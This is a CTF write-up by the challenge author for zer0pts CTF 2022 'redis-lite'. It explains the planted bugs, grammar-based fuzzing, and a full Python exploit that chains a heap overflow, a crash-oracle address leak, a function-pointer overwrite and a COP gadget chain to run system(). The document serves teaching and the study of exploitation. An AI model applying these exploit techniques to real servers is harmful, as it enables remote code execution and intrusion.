# redis-lite - zer0pts CTF 2022
###### tags: `zer0pts CTF 2022` `pwn`
Writeups: https://hackmd.io/@ptr-yudai/rJgjygUM9

## Introduction
I recently see some 0-day challenges in CTFs. 0-day challenge generally becomes a bad challenge. Still, I think one can learn some tips for real-world exploits from that kind of challenges.
So, I decided to make a real-world-like challenge which is not an n-day.

## Overview
The target program is a redis server.
You can communicate with the server through a common redis client software.

$ redis-cli
127.0.0.1:6379> SET abc Hello
OK
127.0.0.1:6379> GET abc
"Hello"
127.0.0.1:6379> RENAME abc xyz
OK
127.0.0.1:6379> MGET abc xyz
1) (nil)
2) "Hello"
127.0.0.1:6379> DEL xyz
(integer) 1

The goal of this task is to achieve RCE on the server. The binary is fully protected:

$ checksec redis-lite-server
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

## Intended Bugs
There might be some unintended bugs but I wrote several intended bugs in the tasks. Most of them are unexploitable by itself.

### NULL Pointer Dereference
The following code may cause a crash if a NULL string is given as the timeout value [1] or a NULL string is given as the option name [2].

      timeout = argv->elements[4]->type == RESP_TYPE_INTEGER
        ? argv->elements[4]->integer
        : strtol(argv->elements[4]->string.data, &endptr, 10); // [1]

      if (strcasecmp(argv->elements[3]->string.data, "EX") == 0) { // [2]

This is obviously unexploitable.

The same bug exists in `__redis_run_COMMAND` too.

### Race Condition
This redis-server is multi-threaded. Other than main thread, SET command may create a thread that expires the key after an interval.
The program uses mutex to avoid race condition. However, the following part is vulnerable:

int redis_insert(const resp_t *key, const resp_t *value,
                 resp_t **old, int overwrite) {
  redis_db_t *item;

  if (item = redis_get(key)) { // [1]
    /* Key exists */
    if (overwrite) {
      /* Update value only if `overwrite` is non-zero */
      pthread_mutex_lock(&redis_db_mutex); // [2]

      if (old) {
        /* This value must be freed by the caller */
        *old = item->value;
      } else {
        /* If the caller doesn't receive the old value, we free it instead */
        free(item->value);
      }

      item->value = resp_copy(value);

      pthread_mutex_unlock(&redis_db_mutex);
    }
    return 1;
...

`redis_insert` calls `redis_get` to check if the key already exists in the database. `redis_get` and `redis_insert` takes mutex seperately. If the thread switches in the order described in the following figure, the `item` returned by `redis_get` may be removed. This causes **Use-after-Free** vulnerability.


However, I couldn't come up with an idea to exploit this vulnerability in a stable way.

### Integer Overflow (Heap Overflow)
The main (intended) vulnerability in this challenge exists in `resp_receive_bulk`.

  int capacity;
...
  } else { /* Bulk String */
    capacity = data->string.size + 3; // [1]
    if ((data->string.data = calloc(1, capacity)) == NULL)
      return 1;

    if (__resp_receive(fd, data->string.data, data->string.size + 2) < 0)
      goto ERROR;

    if (data->string.data[data->string.size] != '\r'
        || data->string.data[data->string.size+1] != '\n')
      goto ERROR;

    data->string.data[data->string.size] = '\0';
    return 0;
  }

Redis allows the size of string to be -1. So, the type of `data->string.size` is `int`. However, there's no routine to check if the size is less than -1 so it's possible to make the capacity very small at [1].
If we give -3 as the size of Bulk String, `capacity` becomes zero and calloc will work successfully. Also, `__resp_receive` accepts the size as an unsigned integer:

ssize_t __resp_receive(int fd, char *buf, size_t len) {

So, the client can send infinite (0xffffffffffffffff) bytes to the server, which causes a **heap buffer overflow**.

## Finding the Bugs
The first part of this challenge is to find out the bug explained above. I think it's hard for most people to spot the bugs just by reading the whole source codes in this 36h CTF.
The intended way is fuzzing the program, but some other methods such as static analysis would also work. Because redis only accepts [RESP protocol](https://redis.io/topics/protocol), grammar-based fuzzing is efficient.

I used [fuzzuf](https://github.com/fuzzuf/fuzzuf/) to find the bugs. It supports Nautilus mode, which is a grammar-based fuzzer. I wrote a very simple grammar definition:

[
    ["REQUEST", "{REQUEST}{REQUEST}"],
    ["REQUEST", ["{Q_COMMAND}", "{Q_ECHO}", "{Q_EXISTS}", "{Q_FLUSHALL}",
                 "{Q_SET}", "{Q_MSET}", "{Q_GET}", "{Q_MGET}", "{Q_DEL}",
                 "{Q_TYPE}", "{Q_COPY}", "{Q_RENAME}"]],

    ["Q_COMMAND", ["*1\r\n$7\r\nCOMMAND\r\n",
                   "*2\r\n$7\r\nCOMMAND\r\n$5\r\nCOUNT\r\n",
                   "*2\r\n$7\r\nCOMMAND\r\n{OBJECT}"]],
    ["Q_ECHO", "*2\r\n$4\r\nECHO\r\n{OBJECT}"],
    ["Q_TYPE", "*2\r\n$4\r\nTYPE\r\n{OBJECT}"],
    ["Q_FLUSHALL", "*1\r\n$8\r\nFLUSHALL\r\n"],
    ["Q_EXISTS", "*2\r\n$6\r\nEXISTS\r\n{OBJECT}"],
    ["Q_GET", "*2\r\n$3\r\nGET\r\n{OBJECT}"],
    ["Q_MGET", ["*2\r\n$4\r\nMGET\r\n{OBJECT}",
                "*3\r\n$4\r\nMGET\r\n{OBJECT}{OBJECT}",
                "*4\r\n$4\r\nMGET\r\n{OBJECT}{OBJECT}{OBJECT}"]],
    ["Q_SET", ["*3\r\n$3\r\nSET\r\n{OBJECT}{OBJECT}",
               "*5\r\n$3\r\nSET\r\n{OBJECT}{OBJECT}$2\r\nEX\r\n{INTEGER}",
               "*5\r\n$3\r\nSET\r\n{OBJECT}{OBJECT}$2\r\nPX\r\n{INTEGER}",
               "*5\r\n$3\r\nSET\r\n{OBJECT}{OBJECT}$2\r\n{OBJECT}{OBJECT}"]],
    ["Q_MSET", ["*3\r\n$4\r\nMSET\r\n{OBJECT}{OBJECT}",
                "*5\r\n$4\r\nMSET\r\n{OBJECT}{OBJECT}{OBJECT}{OBJECT}",
                "*7\r\n$4\r\nMSET\r\n{OBJECT}{OBJECT}{OBJECT}{OBJECT}{OBJECT}{OBJECT}"]],
    ["Q_DEL", ["*2\r\n$3\r\nDEL\r\n{OBJECT}",
               "*3\r\n$3\r\nDEL\r\n{OBJECT}{OBJECT}",
               "*4\r\n$3\r\nDEL\r\n{OBJECT}{OBJECT}{OBJECT}"]],
    ["Q_COPY", "*3\r\n$4\r\nCOPY\r\n{OBJECT}{OBJECT}"],
    ["Q_RENAME", "*3\r\n$6\r\nRENAME\r\n{OBJECT}{OBJECT}"],

    ["OBJECT", ["{INTEGER}", "{BULK}", "{MESSAGE}", "{ERROR}", "{ARRAY}"]],

    ["ERROR", "-{STR}\r\n"],
    ["MESSAGE", "+{STR}\r\n"],
    ["INTEGER", ":{NUM}\r\n"],
    ["BULK", ["${NUM}\r\n{STR}\r\n", "$0\r\n\r\n", "$-1\r\n"]],
    ["ARRAY", ["*0\r\n",
               "*1\r\n{OBJECT}",
               "*2\r\n{OBJECT}{OBJECT}",
               "*3\r\n{OBJECT}{OBJECT}{OBJECT}"
              ]],

    ["STR", ["{CHAR}", "{CHAR}{STR}"]],
    ["CHAR", ["A", "B", "C"]],
    ["NUM", ["{NUMBER}", "-{NUMBER}"]],
    ["NUMBER", ["{DIGIT}", "{DIGIT}{NUMBER}"]],
    ["DIGIT", ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]]
]    

Because the program is (big to read though) relatively small so it's better to enable address sanitizer.

-CFLAGS=-Wl,-z,relro,-z,now -pie -fstack-protector -O3
+CFLAGS=-Wl,-z,relro,-z,now -pie -fstack-protector -O3 -fsanitize=address -g

Also, we should change the main process to accept RESP protocol from stdin because otherwise we need to write a harness.

int main(int argc, char **argv, char **envp)
{
  redis_server_run(0);
  return 0;
}

Now we're ready to fuzz the program.

./fuzzuf nautilus -o output --exec_memlimit=0 --grammar ./fuzzuf_nautilus_resp.json -- /path/to/fuzzme

The fuzzer found some bugs immediately.


## Exploit
The fuzzer found the heap overflow and some memory leaks. Let's check if the heap overflow is exploitable.

### Infinite Heap Buffer Overflow
As explained earlier, the heap overflow happens in `resp_receive_bulk`. `calloc` allocates 0 bytes but `__resp_receive` reads 0xffffffffffffffff bytes into the buffer.
However, `__resp_receive` will never end until it reads the whole data.

ssize_t __resp_receive(int fd, char *buf, size_t len) {
  size_t size;

  for (size = 0; size < len; size++) {
    if (read(fd, &buf[size], 1) != 1)
      return -1;
  }

  return size;
}

So, we can't exit the loop even if we can cause the heap overflow.
Is it unexploitable?

### RIP Control: Exploiting Multi-Thread
Fortunately, the program is multi-threaded. This means we might be able to exploit the data of other thread while the main thread hangs in `__resp_receive`.

The thread is used only by `__redis_run_SET`.

      if (strcasecmp(argv->elements[3]->string.data, "EX") == 0) {
        /* Seconds */
        if ((config = (expiration_t*)malloc(sizeof(expiration_t))) == NULL)
          return NULL;

        config->fn_sleep = (int (*)(unsigned))sleep;
        config->unit     = 1;
        config->timeout  = timeout;
...
  r = redis_insert(key, value, &old, 1);
  if (r != -1 && config) {
    /* Create thread to expire key */
    if ((config->key = resp_copy(key)) == NULL) {
      free(config);
      return NULL;
    }

    if (pthread_create(&th, NULL, expiration_handler, (void*)config)) {
      resp_release_data(config->key);
      free(config);
      return NULL;
    }

    if (pthread_detach(th))
      return NULL;
  }

The thread will expire the key after a specific interval in `expiration_handler`.

void *expiration_handler(void *arg) {
  int i;
  const expiration_t* config = (expiration_t*)arg;

  for (i = 0; i < config->timeout; i++) {
    /* Use loop to avoid integer overflow on usleep timeout */
    config->fn_sleep(config->unit);
  }
  redis_remove(config->key);

  resp_release_data(config->key);
  free(arg);
  return NULL;
}

You can see that this function uses a function pointer `fn_sleep` to sleep the thread.
We can overwrite this function pointer by the heap overflow caused by the main thread.

### Address Leak: Connection Oracle
RIP control is done. The next problem is address leak.
The program is a fork-server and the address map doesn't change for each connection. This means we can leak the address byte by byte.

We partially overwrite the function pointer `fn_sleep` and the program will die if the overwritten bytes are wrong. The main thread will also crash when the sub thread crashes.
So, if we send a correct bytes of the function pointer, `__resp_receive` will continue to read data and otherwise it crashes.

We can use the connection state as an oracle to leak the address of `fn_sleep` byte by byte.

leak = bytes([target & 0xff])
for i in range(len(leak), 6):
    for c in range(0, 0x100):
        if i == 1 and c & 0xf != (target >> 8) & 0xf:
            continue
        if i == 5 and c not in [0x7f, 0x7e]:
            continue
        sock = Socket(HOST, int(PORT))
        redis_set(1, 1, timeout=3000)
        redis_set(777, 777, timeout=500)
        redis_set(2, 2, timeout=3000)

        payload  = b'A'*0x20
        payload += leak
        payload += bytes([c])
        sock.send(b"$-3\r\n" + payload)
        if sock.is_alive(timeout=1):
            sock.close()
            continue
        else:
            sock.close()
            print(f"Found: 0x{c:02x}")
            leak += bytes([c])
            break

    else:
        print("Bad luck!")
        exit(1)

The same principle applies to the heap address leak. There are many heap pointers that causes crash if overwritten with a wrong value. We can leak them in the same way.

### Getting the Shell: Call Oriented Programming
Although we have the libc address, heap address, and RIP control primitive, we can't control the argument. So, we cannot simply call `system` function to get the shell.
Obviously one_gadget is useless in most of real-world programs because the shell doesn't work over socket.

As always, I choose COP to achieve RCE because I couldn't find any useful stack pivot gadgets in this situation.
I used the following gadget because only `rbp` pointed to the `config` structure.

mov rdi, [rbp+0x18]
mov rsi, [rsp+0x28]
lea rcx, [rbp+0x28]
mov edx, 1
call [rbp+0x40]

You can see this gadget can control both the argument and RIP.

### Heap Spray
However, my exploit didn't work in the deployed server maybe because of some differences of the environment. It looked successfully leaking the libc address and the heap address but the shell didn't spawn.

I guessed it was because the heap address was wrong. Since I used the crash oracle to leak the heap address, it may leak a different heap address depending on ASLR.
So, I sprayed the shell command on the heap to make my exploit more stable.

## Code
You can make it faster by using thread.

import os
import time
from ptrlib import *

def R(data):
    if isinstance(data, int):
        return f":{data}\r\n".encode()
    elif isinstance(data, str):
        return f"${len(data)}\r\n{data}\r\n".encode()
    elif isinstance(data, bytes):
        return f"${len(data)}\r\n".encode() + data + b"\r\n"
    elif isinstance(data, list):
        return f"*{len(data)}\r\n".encode() + b''.join([R(elm) for elm in data])
    else:
        raise ValueError(f"Non-RESP type: {type(data)}")

def redis_recv():
    t = sock.recvonce(1)
    if t == b'+' or t == b'-':
        return sock.recvuntil("\r\n")[:-2]
    elif t == b':':
        return int(sock.recvuntil("\r\n")[:-2])
    elif t == b'$':
        s = int(sock.recvuntil("\r\n")[:-2])
        if s == -1:
            return None
        d = sock.recvonce(s)
        sock.recvuntil("\r\n")
        return d
    elif t == b'*':
        s = int(sock.recvuntil("\r\n")[:-2])
        return [redis_recv() for i in range(s)]
    else:
        raise ValueError(f"What is this? {t}")

def redis_set(key, value, timeout=None, unit="ms"):
    if timeout:
        if unit == "ms":
            sock.send(R(["SET", key, value, "PX", timeout]))
        else:
            sock.send(R(["SET", key, value, "EX", timeout]))
    else:
        sock.send(R(["SET", key, value]))
    return redis_recv()
def redis_get(key):
    sock.send(R(["GET", key]))
    return redis_recv()
def redis_copy(src, dst):
    sock.send(R(["COPY", src, dst]))
    return redis_recv()
def redis_rename(src, dst):
    sock.send(R(["RENAME", src, dst]))
    return redis_recv()
def redis_del(key):
    sock.send(R(["DEL", key]))
    return redis_recv()
def redis_exists(key):
    sock.send(R(["EXISTS", key]))
    return redis_recv()
def redis_type(key):
    sock.send(R(["TYPE", key]))
    return redis_recv()
def redis_echo(msg):
    sock.send(R(["ECHO", msg]))
    return redis_recv()

logger.level = 0

CMD = "/bin/ls -lha > /tmp/pwned;"

HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", "6379")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

"""
1. Leak libc base
"""
target = libc.symbol('usleep')
#"""
leak = bytes([target & 0xff])
for i in range(len(leak), 6):
    for c in range(0, 0x100):
        if i == 1 and c & 0xf != (target >> 8) & 0xf:
            continue
        if i == 5 and c not in [0x7f, 0x7e]:
            continue
        sock = Socket(HOST, int(PORT))
        redis_set(1, 1, timeout=3000)
        redis_set(777, 777, timeout=500)
        redis_set(2, 2, timeout=3000)

        payload  = b'A'*0x20
        payload += leak
        payload += bytes([c])
        sock.send(b"$-3\r\n" + payload)
        if sock.is_alive(timeout=1):
            sock.close()
            continue
        else:
            sock.close()
            print(f"Found: 0x{c:02x}")
            leak += bytes([c])
            break

    else:
        print("Bad luck!")
        exit(1)
"""
leak = p64(0x7f2c10bc1000 + libc.symbol('usleep'))
#"""
libc_base = u64(leak) - libc.symbol('usleep')
print("libc: " + hex(libc_base))
libc.set_base(libc_base)

rop_ret = libc_base + 0x000469da

"""
2. Leak heap address
"""
#"""
leak = b"\x00"
for i in range(len(leak), 6):
    for c in range(0, 0x100):
        if i == 5 and c not in [0x55, 0x56]:
            continue
        sock = Socket(HOST, int(PORT))
        redis_set(1, 1, timeout=3000)
        redis_set(777, 777, timeout=600)
        redis_set(2, 2, timeout=3000)
        payload  = b'A'*0x18 + p64(0x21)
        payload += p64(rop_ret)
        payload += p32(1) + p32(1)
        payload += leak
        payload += bytes([c])
        sock.send(b"$-3\r\n" + payload)
        if sock.is_alive(timeout=1):
            sock.close()
            continue
        else:
            sock.close()
            print(f"Found: 0x{c:02x}")
            leak += bytes([c])
            break
    else:
        print("Bad luck!")
        exit()
"""
leak = p64(0x563a2f900400)
#"""
heap_base = u64(leak) & ~0xfff
print("heap: " + hex(heap_base))

"""
3. Run COP chain
"""
rop_mov_rdi_prbpP18h_mov_rsi_prspP28h_lea_rcx_prbpP28h_mov_edx_1_call_prbpP40h = libc_base + 0x00110390
rop_pop_rax_mov_rdi_rbx_call_prbpP60h = libc_base + 0x000823ef

for base in range(heap_base - 0x8000, heap_base + 0x8000, 0x1000):
    print("trying: " + hex(base))
    sock = Socket(HOST, int(PORT))
    redis_set(1, 1, timeout=3, unit="s")     # Do not call handler so many time
    redis_set(777, 777, timeout=5, unit="s") # cz we don't want it to be called
    redis_set(2, 2, timeout=3, unit="s")     # while we're sending payload
    payload  = b'A'*0x20
    payload += p64(rop_pop_rax_mov_rdi_rbx_call_prbpP60h + 1) # skip pop actually
    payload += b'A'*0x10
    payload += p64(base + 0x800) # hopefully pointer to command
    payload += b'A'*0x20
    payload += p64(libc.symbol("system"))
    payload += b'A'*0x18
    payload += p64(rop_mov_rdi_prbpP18h_mov_rsi_prspP28h_lea_rcx_prbpP28h_mov_edx_1_call_prbpP40h)
    # Spray command
    for j in range(0x100):
        payload += b"$"*0x10 + b";"
        payload += CMD.encode()
        payload += b"\x00"
    sock.send(b"$-3\r\n" + payload)
    time.sleep(1) # wait for thread
    sock.close()